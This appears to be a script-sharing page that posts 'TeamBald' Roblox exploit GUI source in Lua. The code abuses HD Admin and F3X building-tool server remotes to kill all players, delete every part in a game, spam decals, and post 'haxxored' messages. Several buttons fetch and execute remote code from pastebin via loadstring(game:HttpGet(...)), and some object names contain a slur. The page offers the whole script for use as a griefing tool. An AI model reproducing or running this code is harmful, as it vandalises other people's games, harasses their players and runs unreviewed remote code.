Teambald F3x Gui Leak (Backdoor inserter + Jumpscare)
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Teambald F3x Gui Leak (Backdoor inserter + Jumpscare)

Universal ScriptTeamBaldRealTeamBaldReal 2.6K views 191 executesUpdated Dec 7, 2025
Unrated
00
Lua Script•1324 lines (34069 chars)
-- if you skid thiz gui and you not leave me a credit you are a veri bad person :(
local player = game.Players.LocalPlayer
local replicatedStorage = game:GetService("ReplicatedStorage")

local gui = Instance.new("ScreenGui")
gui.Name = "TeamBaldGuiReborn"
gui.Parent = player:WaitForChild("PlayerGui")
gui.ResetOnSpawn = false

local mainFrame = Instance.new("Frame")
mainFrame.Size = UDim2.new(0, 400, 0, 500)
mainFrame.Position = UDim2.new(0.5, -200, 0.5, -250)
mainFrame.BackgroundColor3 = Color3.new(0, 0, 0)
mainFrame.BorderColor3 = Color3.new(1, 1, 1)
mainFrame.BorderSizePixel = 3
mainFrame.Active = true
mainFrame.Draggable = true
mainFrame.Parent = gui

local bg = Instance.new("ImageLabel")
bg.Size = UDim2.new(1, 0, 1, 0)
bg.BackgroundTransparency = 1
bg.Image = "rbxassetid://139296137142213"
bg.ImageTransparency = 0.4
bg.Parent = mainFrame

local title = Instance.new("TextLabel")
title.Size = UDim2.new(1, 0, 0, 50)
title.BackgroundTransparency = 0
title.BackgroundColor3 = Color3.new(0, 0, 0)
title.BorderColor3 = Color3.new(1, 1, 1)
title.BorderSizePixel = 2
title.Text = "TeamBaldGui Reborn"
title.TextColor3 = Color3.new(1, 1, 1)
title.Font = Enum.Font.SourceSansBold
title.TextScaled = true
title.Parent = mainFrame

local scrollFrame = Instance.new("ScrollingFrame")
scrollFrame.Size = UDim2.new(1, -10, 1, -60)
scrollFrame.Position = UDim2.new(0, 5, 0, 55)
scrollFrame.BackgroundTransparency = 1
scrollFrame.CanvasSize = UDim2.new(0, 0, 0, 0)
scrollFrame.ScrollBarThickness = 10
scrollFrame.Parent = mainFrame

local listLayout = Instance.new("UIListLayout")
listLayout.SortOrder = Enum.SortOrder.LayoutOrder
listLayout.Padding = UDim.new(0, 5)
listLayout.Parent = scrollFrame

local function CreateButton(name)
	local btn = Instance.new("TextButton")
	btn.Size = UDim2.new(1, 0, 0, 40)
	btn.BackgroundColor3 = Color3.new(0, 0, 0)
	btn.BorderColor3 = Color3.new(1, 1, 1)
	btn.BorderSizePixel = 2
	btn.TextColor3 = Color3.new(1, 1, 1)
	btn.Text = name
	btn.Font = Enum.Font.SourceSansBold
	btn.TextScaled = true
	btn.Parent = scrollFrame
	return btn
end

local music1 = CreateButton("Music 1")
local music2 = CreateButton("Music 2")
local music3 = CreateButton("Music 3")

local decal1 = CreateButton("DecalSpam 1")
local decal2 = CreateButton("DecalSpam 2")
local decal3 = CreateButton("DecalSpam 3")
local decal4 = CreateButton("DecalSpam 4")

local discoBtn = CreateButton("Disco")
local hsxxBtn = CreateButton("Hint")

listLayout:GetPropertyChangedSignal("AbsoluteContentSize"):Connect(function()
	scrollFrame.CanvasSize = UDim2.new(0, 0, 0, listLayout.AbsoluteContentSize.Y + 10)
end)

local RequestCommand = replicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand


music1.MouseButton1Click:Connect(function()
	RequestCommand:InvokeServer(";music 83768677244386")
	RequestCommand:InvokeServer(";Volume 25")
end)

music2.MouseButton1Click:Connect(function()
	RequestCommand:InvokeServer(";music 127653283576622")
	RequestCommand:InvokeServer(";pitch 0.74")                                                                                                                                                    RequestCommand:InvokeServer(";volume 40")    
end)

music3.MouseButton1Click:Connect(function()
	RequestCommand:InvokeServer(";music 110587373430189")
	RequestCommand:InvokeServer(";pitch 0.17")    
	RequestCommand:InvokeServer(";volume inf")
end)


local function DecalSpam(assetId)
	local tool
	for _, v in player:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	for _, v in game.ReplicatedStorage:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	if not tool then return end

	local remote = tool.SyncAPI.ServerEndpoint
	local function _(args)
		remote:InvokeServer(unpack(args))
	end
	local function SpawnDecal(part, side)
		local args = {"CreateTextures", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal"}}}
		_(args)
	end
	local function AddDecal(part, asset, side)
		local args = {"SyncTexture", {{["Part"] = part, ["Face"] = side, ["TextureType"] = "Decal", ["Texture"] = "rbxassetid://" .. asset}}}
		_(args)
	end
	for _, v in workspace:GetDescendants() do
		if v:IsA("BasePart") then
			task.spawn(function()
				for _, face in ipairs(Enum.NormalId:GetEnumItems()) do
					SpawnDecal(v, face)
					AddDecal(v, assetId, face)
				end
			end)
		end
	end
end

decal1.MouseButton1Click:Connect(function() DecalSpam(139296137142213) end)
decal2.MouseButton1Click:Connect(function() DecalSpam(131896798036661) end)
decal3.MouseButton1Click:Connect(function() DecalSpam(73522481447287) end)
decal4.MouseButton1Click:Connect(function() DecalSpam(101173298982351) end)

discoBtn.MouseButton1Click:Connect(function()
	RequestCommand:InvokeServer(";disco")
	RequestCommand:InvokeServer(";kill all")
end)

hsxxBtn.MouseButton1Click:Connect(function()
	RequestCommand:InvokeServer(";h THIS GAME IS HAXXORED BY TEAMBALD")
	RequestCommand:InvokeServer(";h LMAO TEAMBALD HAXED YOUR GAME LOLZZ")
end)


local sky1 = CreateButton("Skybox 1")
sky1.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastebin.com/raw/eMFC32H0"))()
end)

local epik = CreateButton("Epik Skeleton Sky")
epik.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastebin.com/raw/XAgyaQKp"))()
end)

local sky2 = CreateButton("Skybox 2")
sky2.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastebin.com/raw/tRCYYvR3"))()
end)

local sparklesAll = CreateButton("Sparkles All")
sparklesAll.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastefy.app/nrNgKPBI/raw"))()
end)                                                                                                                                                                                                                                    local sparklesAll = CreateButton("Joblify")
sparklesAll.MouseButton1Click:Connect(function()
loadstring(game:HttpGet("https://pastebin.com/raw/0Q1tjkc8"))()
end)                                                                                                                                                                                                                                      local sparklesAll = CreateButton("Fire all")
sparklesAll.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastebin.com/raw/MBF1xR9P"))()
end)                                                                                                                                                                                                                             local sparklesAll = CreateButton("666")
sparklesAll.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastebin.com/raw/Zv3QMGj2"))()
end)                                                                                                                                                                                                                                     local sparklesAll = CreateButton("Big Head all")
sparklesAll.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastebin.com/raw/uySTmniR"))()
end)                                                                                                                                                                                                                                      local sparklesAll = CreateButton("Germany music")
sparklesAll.MouseButton1Click:Connect(function()
	loadstring(game:HttpGet("https://pastebin.com/raw/54XkwkFr"))()
end)                                                                                                                                                                                                                                           local sparklesAll = CreateButton("TeamBald Rain")
sparklesAll.MouseButton1Click:Connect(function()                                                                                                                       local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool

for i, v in player:GetDescendants() do
    if v.Name == "SyncAPI" then
        tool = v.Parent
    end
end

for i, v in game.ReplicatedStorage:GetDescendants() do
    if v.Name == "SyncAPI" then
        tool = v.Parent
    end
end

local remote = tool.SyncAPI.ServerEndpoint

function _(args)
    remote:InvokeServer(unpack(args))
end

function SetCollision(part, boolean)
    local args = {
        [1] = "SyncCollision",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["CanCollide"] = boolean
            }
        }
    }
    _(args)
end

function SetAnchor(boolean, part)
    local args = {
        [1] = "SyncAnchor",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Anchored"] = boolean
            }
        }
    }
    _(args)
end

function CreatePart(cf)
    local args = {
        [1] = "CreatePart",
        [2] = "Normal",
        [3] = cf,
        [4] = workspace
    }
    _(args)
end

function Resize(part, size, cf)
    local args = {
        [1] = "SyncResize",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["CFrame"] = cf,
                ["Size"] = size
            }
        }
    }
    _(args)
end

function AddMesh(part)
    local args = {
        [1] = "CreateMeshes",
        [2] = {
            [1] = {
                ["Part"] = part
            }
        }
    }
    _(args)
end

function SetMesh(part, meshid)
    local args = {
        [1] = "SyncMesh",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["MeshId"] = "rbxassetid://" .. meshid
            }
        }
    }
    _(args)
end

function SetTexture(part, texid)
    local args = {
        [1] = "SyncMesh",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["TextureId"] = "rbxassetid://" .. texid
            }
        }
    }
    _(args)
end

function MeshResize(part, size)
    local args = {
        [1] = "SyncMesh",
        [2] = {
            [1] = {
                ["Part"] = part,
                ["Scale"] = size
            }
        }
    }
    _(args)
end

function SetName(part, stringg)
    local args = {
        [1] = "SetName",
        [2] = {
            [1] = workspace.Part
        },
        [3] = stringg
    }
    _(args)
end

function Sky(id)
    local hrp = char:WaitForChild("HumanoidRootPart")
    local cf = hrp.CFrame
    CreatePart(CFrame.new(cf.Position + Vector3.new(0, 6, 0)))
    for _, v in workspace:GetDescendants() do
        if v:IsA("BasePart") and v.CFrame.Position == cf.Position + Vector3.new(0, 6, 0) then
            SetAnchor(true, v)
            AddMesh(v)
            SetMesh(v, "14832966960")
            SetTexture(v, id)
            MeshResize(v, Vector3.new(0, 0, 0))
        end
    end
end

local function createRainToads()
    while true do
        wait(0.01) -- Here they change the appearance time of the Toads or other meshes
        if player.Character and player.Character:FindFirstChild("Humanoid") and player.Character.Humanoid.Health > 0 then
            local hrpcf = player.Character.HumanoidRootPart.CFrame
            local x = hrpcf.x
            local z = hrpcf.z
            local randint = math.random(-600, 600)
            local randint2 = math.random(-600, 600)
            local xloc = randint + x
            local zloc = randint2 + z
            local cf = player.Character.HumanoidRootPart.CFrame.y + 400

            spawn(function()
                local newToad = CreatePart(CFrame.new(math.floor(xloc), math.random(cf, cf + 400), math.floor(zloc)))
                for i, v in game.Workspace:GetDescendants() do
                    if v.Name == "Part" and v.Parent == workspace and v.CFrame.x == math.floor(xloc) and v.CFrame.z == math.floor(zloc) then
                        SetName(v, "Get trolled u fagz") -- Here the name of the toad changes
                        SetAnchor(false, v)
                        AddMesh(v)
                        Resize(v, Vector3.new(50, 50, 50), v.CFrame)
                        MeshResize(v, Vector3.new(15, 15, 15))
                        SetMesh(v, "4348287910") -- Here put it A custom mesh
                        SetTexture(v, "73522481447287") -- X2
                        SetCollision(v, false)
                        v.Orientation = Vector3.new(0, 0, 0)

                        v.CFrame = v.CFrame + Vector3.new(0, 0, 0)

                        local sound = Instance.new("Sound", v)
                        sound.SoundId = "rbxassetid://153752123" -- Here the noise or another sound To the toads or other things It works when they appear 
                        sound.Volume = 0
                        sound.PlayOnRemove = true
                        sound:Destroy()
                    end
                end
            end)
        else
            wait(1)
        end
    end
end

coroutine.wrap(createRainToads)()

Sky("73522481447287")
end)                                                                                                                                                                                                                                     local sparklesAll = CreateButton("Realm") -- btw this realm was taked from th0qu1nZ
sparklesAll.MouseButton1Click:Connect(function()
	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local rc = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	rc:InvokeServer("!btools me")
	wait(0.4)
	rc:InvokeServer("!punish all")
	wait(0.1)
	local player = game.Players.LocalPlayer
	local char = player.Character
	local backpack = player.Backpack

	local function getf3x()
		for _, v in ipairs(backpack:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end
		for _, v in ipairs(char:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end

		return nil
	end
	local f3x = getf3x()
	if not f3x then
		warn("you dont have f3x skid")
	end
	local syncapi = f3x.SyncAPI
	local serverendpoint = syncapi.ServerEndpoint

	local function delete(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function deleteall()
		for _, v in ipairs(workspace:GetDescendants()) do
			if v:IsA("BasePart") or v:IsA("UnionOperation") then
				spawn(function()
					delete(v)
				end)
			end
		end
	end

	deleteall()

	local ReplicatedStorage = game:GetService("ReplicatedStorage")
	local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
	RequestCommand:InvokeServer("!fogcolor black")
	local player = game.Players.LocalPlayer
	local char = player.Character
	local backpack = player.Backpack

	local function getf3x()
		for _, v in ipairs(backpack:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end
		for _, v in ipairs(char:GetChildren()) do
			if v:FindFirstChild("SyncAPI") then
				return v
			end
		end

		return nil
	end
	local f3x = getf3x()
	if not f3x then
		warn("you dont have f3x skid")
	end
	local syncapi = f3x.SyncAPI
	local serverendpoint = syncapi.ServerEndpoint

	local function resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function syncmaterial(part,mate,trans)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Material"] = mate
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end
	local function transparency(part,trans)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = trans
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function color(part, color)
		local args = {
			[1] = "SyncColor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Color"] = color --[[Color3]],
					["UnionColoring"] = false
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function syncmeshid(part, id)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..id
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function makemesh(part) 
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end 

	local function syncmeshsize(part, vectora)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = vectora
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function syncmeshtexture(part, id)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] =	"rbxassetid://"..id
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function name(part, stringa)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = part
			},
			[3] = stringa
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function lock(part, boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function setcollision(part, booleana)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = booleana
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function setanchor(part, boolean)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function createdecal(part, side)
		local args = {
			[1] = "CreateTextures",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal"
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end
	local function setdecal(part, asset, side)
		local args = {
			[1] = "SyncTexture",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal",
					["Texture"] = "rbxassetid://".. asset
				}
			}
		}
		serverendpoint:InvokeServer(unpack(args))
	end

	local function makerealmbase()
		local position = CFrame.new(0, 0, 0)
		local base = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)
		resize(base, Vector3.new(100,1,100), position)
		syncmaterial(base, Enum.Material.WoodPlanks)
		color(base, Color3.fromRGB(67,67,67))
		name(base, "T0qu1nzZlel")
		lock(base, true)

		local spawnpos = CFrame.new(0,0.5,0)
		local spawna = serverendpoint:InvokeServer("CreatePart", "Spawn", spawnpos, workspace)
		resize(spawna, Vector3.new(20, 0.001, 20), spawnpos)
		name(spawna, "SpawnLocation")
		lock(spawna, true)

		createdecal(spawna, Enum.NormalId.Top)
		setdecal(spawna, "128277505600421", Enum.NormalId.Top) -- ganti decalnya pake decal lu
		transparency(spawna, 1)

		local pos = CFrame.new(26,12,0)

		local rules = serverendpoint:InvokeServer("CreatePart", "Normal", pos, workspace)

		transparency(rules, 0)
		setcollision(rules, false)
		createdecal(rules, Enum.NormalId.Left)
		setdecal(rules, "73522481447287", Enum.NormalId.Left)
		color(rules, Color3.new(0, 0, 0))
		resize(rules, Vector3.new(4, 40, 45), pos)
	end

	local function sky()
		local position = CFrame.new(0.00,  0.5, -25.80)
		local sky = serverendpoint:InvokeServer("CreatePart", "Normal", position, workspace)

		makemesh(sky)
		syncmeshid(sky, "11560435386")
		syncmeshtexture(sky, "0")
		syncmeshsize(sky, Vector3.new(3,3,3))
		lock(sky, true)
		name(sky, "fi bu")
		setcollision(sky, false)
	end





	local function unanchorall()
		for _, v in ipairs(workspace:GetDescendants()) do
			if v:IsA("BasePart") or v:IsA("UnionOperation") then
				spawn(function()
					setanchor(v, false)
				end)
			end
		end
	end

	local function realm()
		sky()
		makerealmbase()
	end

	realm()
	wait(3)
	RequestCommand:InvokeServer("!res all")
	wait(0.3)
	RequestCommand:InvokeServer("!res all")                                                                                                                                                   RequestCommand:InvokeServer(";music 87174269808530")
		RequestCommand:InvokeServer(";pitch 0.13")
		RequestCommand:InvokeServer(";volume inf")
end)                                                                                                                                                                                                                                    -- Decal remover
local decalRemover = CreateButton("Decal remover")
decalRemover.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/R0hwX9SR"))()
end)

-- Mario.EXE
local marioExe = CreateButton("Mario.EXE")
marioExe.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/dDuAFwLx"))()
end)

-- c00lify
local coolify = CreateButton("c00lify")
coolify.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/srFEQUrN"))()
end)

-- Explode all
local explodeAll = CreateButton("Explode all")
explodeAll.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/Hm4N5Efd"))()
end)

-- Smoke all
local smokeAll = CreateButton("Smoke all")
smokeAll.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/qRsg2hii"))()
end)

-- Spin all
local spinAll = CreateButton("Spin all")
spinAll.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/7RVCmBD0"))()
end)

-- Get F3X
local getF3X = CreateButton("Get F3X")
getF3X.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/FjmUyeH3"))()
end)                                                                                                                                                                                                                                                         local getF3X = CreateButton("Bypassed Audio")
getF3X.MouseButton1Click:Connect(function()
    RequestCommand:InvokeServer(";music 112226782551255")
	RequestCommand:InvokeServer(";pitch 0.12")                                                                                                                                                    RequestCommand:InvokeServer(";volume 3")  
end)                                                                                                                                                                                                                                   local getF3X = CreateButton("Bypassed Audio2")
getF3X.MouseButton1Click:Connect(function()
    RequestCommand:InvokeServer(";music 135125762857428")
	RequestCommand:InvokeServer(";pitch 0.2")                                                                                                                                                    RequestCommand:InvokeServer(";volume 3")  
end)                                                                                                                                                                                                                                  local getF3X = CreateButton("Anime Music")
getF3X.MouseButton1Click:Connect(function()
    RequestCommand:InvokeServer(";music 85199696816042")
	RequestCommand:InvokeServer(";pitch 0.12")                                                                                                                                                    RequestCommand:InvokeServer(";volume 3")  
end)                                                                                                                                                                                                                                    local getF3X = CreateButton("Bypassed Decal")     
getF3X.MouseButton1Click:Connect(function()
    local player = game.Players.LocalPlayer
	local char = player.Character
	local tool
	for i,v in player:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	for i,v in game.ReplicatedStorage:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	remote = tool.SyncAPI.ServerEndpoint
	function _(args)
		remote:InvokeServer(unpack(args))
	end
	function SetCollision(part,boolean)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = boolean
				}
			}
		}
		_(args)
	end
	function SetAnchor(boolean,part)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		} 
		_(args)
	end
	function CreatePart(cf,parent)
		local args = {
			[1] = "CreatePart",
			[2] = "Normal",
			[3] = cf,
			[4] = parent
		}
		_(args)
	end
	function DestroyPart(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		_(args)
	end
	function MovePart(part,cf)
		local args = {
			[1] = "SyncMove",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf
				}
			}
		}
		_(args)
	end
	function Resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		_(args)
	end
	function AddMesh(part)
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		_(args)
	end

	function SetMesh(part,meshid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..meshid
				}
			}
		}
		_(args)
	end
	function SetTexture(part, texid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] = "rbxassetid://"..texid
				}
			}
		}
		_(args)
	end
	function SetName(part, stringg)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = part
			},
			[3] = stringg
		}

		_(args)
	end
	function MeshResize(part,size)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = size
				}
			}
		}
		_(args)
	end
	function Weld(part1, part2,lead)
		local args = {
			[1] = "CreateWelds",
			[2] = {
				[1] = part1,
				[2] = part2
			},
			[3] = lead
		}
		_(args)

	end
	function SetLocked(part,boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		_(args)
	end
	function SetTrans(part,int)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = int
				}
			}
		}
		_(args)
	end
	function CreateSpotlight(part)
		local args = {
			[1] = "CreateLights",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight"
				}
			}
		}
		_(args)
	end
	function SyncLighting(part,brightness)
		local args = {
			[1] = "SyncLighting",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight",
					["Brightness"] = brightness
				}
			}
		}
		_(args)
	end
	function Color(part,color)
		local args = {
			[1] = "SyncColor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Color"] = color --[[Color3]],
					["UnionColoring"] = false
				}
			}
		}
		_(args)
	end
	function SpawnDecal(part,side)
		local args = {
			[1] = "CreateTextures",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal"
				}
			}
		}

		_(args)
	end
	function AddDecal(part,asset,side)
		local args = {
			[1] = "SyncTexture",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal",
					["Texture"] = "rbxassetid://".. asset
				}
			}
		}
		_(args)
	end

	function spam(id)
		for i,v in game.workspace:GetDescendants() do
			if v:IsA("BasePart") then
				spawn(function()
					SetLocked(v,false)
					SpawnDecal(v,Enum.NormalId.Front)
					AddDecal(v,id,Enum.NormalId.Front)

					SpawnDecal(v,Enum.NormalId.Back)
					AddDecal(v,id,Enum.NormalId.Back)

					SpawnDecal(v,Enum.NormalId.Right)
					AddDecal(v,id,Enum.NormalId.Right)

					SpawnDecal(v,Enum.NormalId.Left)
					AddDecal(v,id,Enum.NormalId.Left)

					SpawnDecal(v,Enum.NormalId.Bottom)
					AddDecal(v,id,Enum.NormalId.Bottom)

					SpawnDecal(v,Enum.NormalId.Top)
					AddDecal(v,id,Enum.NormalId.Top)
				end)
			end
		end 
	end
	spam("119814853791278") -- Replace with your decal ID
end)                                                                                                                                                                                                                                   local getF3X = CreateButton("Bypassed Decal2")
getF3X.MouseButton1Click:Connect(function()
    local player = game.Players.LocalPlayer
	local char = player.Character
	local tool
	for i,v in player:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	for i,v in game.ReplicatedStorage:GetDescendants() do
		if v.Name == "SyncAPI" then
			tool = v.Parent
		end
	end
	remote = tool.SyncAPI.ServerEndpoint
	function _(args)
		remote:InvokeServer(unpack(args))
	end
	function SetCollision(part,boolean)
		local args = {
			[1] = "SyncCollision",
			[2] = {
				[1] = {
					["Part"] = part,
					["CanCollide"] = boolean
				}
			}
		}
		_(args)
	end
	function SetAnchor(boolean,part)
		local args = {
			[1] = "SyncAnchor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Anchored"] = boolean
				}
			}
		}
		_(args)
	end
	function CreatePart(cf,parent)
		local args = {
			[1] = "CreatePart",
			[2] = "Normal",
			[3] = cf,
			[4] = parent
		}
		_(args)
	end
	function DestroyPart(part)
		local args = {
			[1] = "Remove",
			[2] = {
				[1] = part
			}
		}
		_(args)
	end
	function MovePart(part,cf)
		local args = {
			[1] = "SyncMove",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf
				}
			}
		}
		_(args)
	end
	function Resize(part,size,cf)
		local args = {
			[1] = "SyncResize",
			[2] = {
				[1] = {
					["Part"] = part,
					["CFrame"] = cf,
					["Size"] = size
				}
			}
		}
		_(args)
	end
	function AddMesh(part)
		local args = {
			[1] = "CreateMeshes",
			[2] = {
				[1] = {
					["Part"] = part
				}
			}
		}
		_(args)
	end

	function SetMesh(part,meshid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["MeshId"] = "rbxassetid://"..meshid
				}
			}
		}
		_(args)
	end
	function SetTexture(part, texid)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["TextureId"] = "rbxassetid://"..texid
				}
			}
		}
		_(args)
	end
	function SetName(part, stringg)
		local args = {
			[1] = "SetName",
			[2] = {
				[1] = part
			},
			[3] = stringg
		}

		_(args)
	end
	function MeshResize(part,size)
		local args = {
			[1] = "SyncMesh",
			[2] = {
				[1] = {
					["Part"] = part,
					["Scale"] = size
				}
			}
		}
		_(args)
	end
	function Weld(part1, part2,lead)
		local args = {
			[1] = "CreateWelds",
			[2] = {
				[1] = part1,
				[2] = part2
			},
			[3] = lead
		}
		_(args)

	end
	function SetLocked(part,boolean)
		local args = {
			[1] = "SetLocked",
			[2] = {
				[1] = part
			},
			[3] = boolean
		}
		_(args)
	end
	function SetTrans(part,int)
		local args = {
			[1] = "SyncMaterial",
			[2] = {
				[1] = {
					["Part"] = part,
					["Transparency"] = int
				}
			}
		}
		_(args)
	end
	function CreateSpotlight(part)
		local args = {
			[1] = "CreateLights",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight"
				}
			}
		}
		_(args)
	end
	function SyncLighting(part,brightness)
		local args = {
			[1] = "SyncLighting",
			[2] = {
				[1] = {
					["Part"] = part,
					["LightType"] = "SpotLight",
					["Brightness"] = brightness
				}
			}
		}
		_(args)
	end
	function Color(part,color)
		local args = {
			[1] = "SyncColor",
			[2] = {
				[1] = {
					["Part"] = part,
					["Color"] = color --[[Color3]],
					["UnionColoring"] = false
				}
			}
		}
		_(args)
	end
	function SpawnDecal(part,side)
		local args = {
			[1] = "CreateTextures",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal"
				}
			}
		}

		_(args)
	end
	function AddDecal(part,asset,side)
		local args = {
			[1] = "SyncTexture",
			[2] = {
				[1] = {
					["Part"] = part,
					["Face"] = side,
					["TextureType"] = "Decal",
					["Texture"] = "rbxassetid://".. asset
				}
			}
		}
		_(args)
	end

	function spam(id)
		for i,v in game.workspace:GetDescendants() do
			if v:IsA("BasePart") then
				spawn(function()
					SetLocked(v,false)
					SpawnDecal(v,Enum.NormalId.Front)
					AddDecal(v,id,Enum.NormalId.Front)

					SpawnDecal(v,Enum.NormalId.Back)
					AddDecal(v,id,Enum.NormalId.Back)

					SpawnDecal(v,Enum.NormalId.Right)
					AddDecal(v,id,Enum.NormalId.Right)

					SpawnDecal(v,Enum.NormalId.Left)
					AddDecal(v,id,Enum.NormalId.Left)

					SpawnDecal(v,Enum.NormalId.Bottom)
					AddDecal(v,id,Enum.NormalId.Bottom)

					SpawnDecal(v,Enum.NormalId.Top)
					AddDecal(v,id,Enum.NormalId.Top)
				end)
			end
		end 
	end
	spam("106773523140180") -- Replace with your decal ID
end)                                                                                                                                                                                                                                      
local getF3X = CreateButton("Shedletsky")
getF3X.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/b28ffptw"))() 
end)                                                                       
local getF3X = CreateButton("TeamBald Particals")
getF3X.MouseButton1Click:Connect(function()
    loadstring(game:HttpGet("https://pastebin.com/raw/T1KKfyrN"))() 
end)

Features & Information

Thiz script have zo many features veri happy :0
#FX#btools#* roblox

Community Comments (10)

TeamBaldRealTeamBaldRealDec 7, 2025

Hi :3

